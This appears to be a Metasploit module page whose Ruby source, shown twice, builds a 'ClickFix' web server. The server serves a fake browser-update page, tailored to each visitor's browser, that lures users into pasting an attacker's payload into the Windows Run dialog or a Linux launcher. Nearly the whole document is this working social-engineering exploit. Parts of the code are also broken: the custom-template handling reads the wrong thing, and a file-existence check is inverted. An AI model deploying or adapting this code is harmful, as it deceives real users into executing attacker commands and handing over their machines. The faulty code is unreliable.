Description
This creates a Web Server which hosts a ClickFix type exploit. When a user visits the site they are given instructions on pasting our payload into a run dialog. When using a custom html page, please use INSERTPAYLOADHERE as the spot to put the...
Basic Information
ID
MSF:EXPLOIT-MULTI-MISC-CLICKFIX_SERVER-
Published
Jun 5, 2026 at 18:55
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ClickFix Server',
'Description' => %q{
This creates a Web Server which hosts a ClickFix type exploit.
When a user visits the site they are given instructions on pasting
our payload into a run dialog.
When using a custom html page, please use INSERT_PAYLOAD_HERE as the
spot to put the generated payload in.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'boredchilada' # clickfix template inspiration
],
'References' => [
['URL', 'https://www.hhs.gov/sites/default/files/clickfix-attacks-sector-alert-tlpclear.pdf'],
['URL', 'https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/'],
['URL', 'https://github.com/boredchilada/clickfix-simulator-2025'],
['URL', 'https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-macos']
],
'Payload' => {
'Space' => 245, # Reserve room for wrapper so final command fits Run dialog max
'DisableNops' => true
},
'Arch' => [ARCH_CMD],
'Stance' => Msf::Exploit::Stance::Passive,
'Passive' => true,
'Targets' => [
['Windows', { 'Platform' => 'win' }],
['Linux', { 'Platform' => ['linux', 'unix'] }]
],
'DisclosureDate' => '2023-01-01',
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['ClickFix', 'ClearFake', 'Fake Update', 'CrashFix'],
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT]
}
)
)
# set the default port, and a URI that a user can set if the app isn't installed to the root
register_options(
[
OptPort.new('SRVPORT', [true, 'Web Server Port', 80]),
OptEnum.new('TEMPLATE', [ true, 'Template style to use', 'auto', %w[auto custom]]),
OptPath.new('CUSTOM', [false, 'Custom Template Path', ''], conditions: ['TEMPLATE', '==', 'custom'])
]
)
end
def on_request_uri(cli, request)
if request.method == 'GET'
user_agent = request['User-Agent']
print_status("Request #{request.uri} from #{user_agent}")
# get our payload stubbed
if target.name == 'Windows'
p_load = payload.encoded.gsub(' start /B', '') # 'start /B' only works on cmd, not in the run dialog box
p_load = "cmd /c \"#{p_load}\"" # run command dialog can't use & so we wrap in cmd
else
# Linux Application Finder can't have ; so wrap it in bash
p_load = "bash -c \"#{payload.encoded}\""
end
case datastore['TEMPLATE']
when 'custom'
template = ::File.read(::File.read(datastore['CUSTOM'], mode: 'rb'))
template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load))
send_response(cli, ::File.read(datastore['CUSTOM'], mode: 'rb'))
else
template = ::File.read(File.join(Msf::Config.data_directory, 'exploits', 'clickfix', 'browser_update.html'))
template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load))
if user_agent =~ %r{Edg/}
version = user_agent.match(%r{Edg/([\d.]+)})
template.gsub!('120.0.6099.0', version[1]) if version
template.gsub!('Google Chrome', 'Microsoft Edge')
template.gsub!('Chrome', 'Edge') if version
elsif user_agent =~ /Chrome/
version = user_agent.match(%r{Chrome/([\d.]+)})
template.gsub!('120.0.6099.0', version[1]) if version
elsif user_agent =~ /Firefox/
version = user_agent.match(%r{Firefox/([\d.]+)})
template.gsub!('120.0.6099.0', version[1]) if version
template.gsub!('Google Chrome', 'Mozilla Firefox')
template.gsub!('Chrome', 'Firefox') if version
else
# assume chrome based on marketshare
fake_version = "#{rand(201..400)}.0.#{rand(1000..9999)}.0"
template.gsub!('120.0.6099.0', fake_version)
end
send_response(cli, template)
end
end
end
def run
if datastore['TEMPLATE'] == 'custom' && File.exist?(datastore['CUSTOM'])
fail_with(Failure::BadConfig, "Custom template path not found: #{datastore['CUSTOM']}")
end
exploit # start http server
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ClickFix Server',
'Description' => %q{
This creates a Web Server which hosts a ClickFix type exploit.
When a user visits the site they are given instructions on pasting
our payload into a run dialog.
When using a custom html page, please use INSERT_PAYLOAD_HERE as the
spot to put the generated payload in.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'boredchilada' # clickfix template inspiration
],
'References' => [
['URL', 'https://www.hhs.gov/sites/default/files/clickfix-attacks-sector-alert-tlpclear.pdf'],
['URL', 'https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/'],
['URL', 'https://github.com/boredchilada/clickfix-simulator-2025'],
['URL', 'https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-macos']
],
'Payload' => {
'Space' => 245, # Reserve room for wrapper so final command fits Run dialog max
'DisableNops' => true
},
'Arch' => [ARCH_CMD],
'Stance' => Msf::Exploit::Stance::Passive,
'Passive' => true,
'Targets' => [
['Windows', { 'Platform' => 'win' }],
['Linux', { 'Platform' => ['linux', 'unix'] }]
],
'DisclosureDate' => '2023-01-01',
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['ClickFix', 'ClearFake', 'Fake Update', 'CrashFix'],
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT]
}
)
)
# set the default port, and a URI that a user can set if the app isn't installed to the root
register_options(
[
OptPort.new('SRVPORT', [true, 'Web Server Port', 80]),
OptEnum.new('TEMPLATE', [ true, 'Template style to use', 'auto', %w[auto custom]]),
OptPath.new('CUSTOM', [false, 'Custom Template Path', ''], conditions: ['TEMPLATE', '==', 'custom'])
]
)
end
def on_request_uri(cli, request)
if request.method == 'GET'
user_agent = request['User-Agent']
print_status("Request #{request.uri} from #{user_agent}")
# get our payload stubbed
if target.name == 'Windows'
p_load = payload.encoded.gsub(' start /B', '') # 'start /B' only works on cmd, not in the run dialog box
p_load = "cmd /c \"#{p_load}\"" # run command dialog can't use & so we wrap in cmd
else
# Linux Application Finder can't have ; so wrap it in bash
p_load = "bash -c \"#{payload.encoded}\""
end
case datastore['TEMPLATE']
when 'custom'
template = ::File.read(::File.read(datastore['CUSTOM'], mode: 'rb'))
template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load))
send_response(cli, ::File.read(datastore['CUSTOM'], mode: 'rb'))
else
template = ::File.read(File.join(Msf::Config.data_directory, 'exploits', 'clickfix', 'browser_update.html'))
template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load))
if user_agent =~ %r{Edg/}
version = user_agent.match(%r{Edg/([\d.]+)})
template.gsub!('120.0.6099.0', version[1]) if version
template.gsub!('Google Chrome', 'Microsoft Edge')
template.gsub!('Chrome', 'Edge') if version
elsif user_agent =~ /Chrome/
version = user_agent.match(%r{Chrome/([\d.]+)})
template.gsub!('120.0.6099.0', version[1]) if version
elsif user_agent =~ /Firefox/
version = user_agent.match(%r{Firefox/([\d.]+)})
template.gsub!('120.0.6099.0', version[1]) if version
template.gsub!('Google Chrome', 'Mozilla Firefox')
template.gsub!('Chrome', 'Firefox') if version
else
# assume chrome based on marketshare
fake_version = "#{rand(201..400)}.0.#{rand(1000..9999)}.0"
template.gsub!('120.0.6099.0', fake_version)
end
send_response(cli, template)
end
end
end
def run
if datastore['TEMPLATE'] == 'custom' && File.exist?(datastore['CUSTOM'])
fail_with(Failure::BadConfig, "Custom template path not found: #{datastore['CUSTOM']}")
end
exploit # start http server
end
end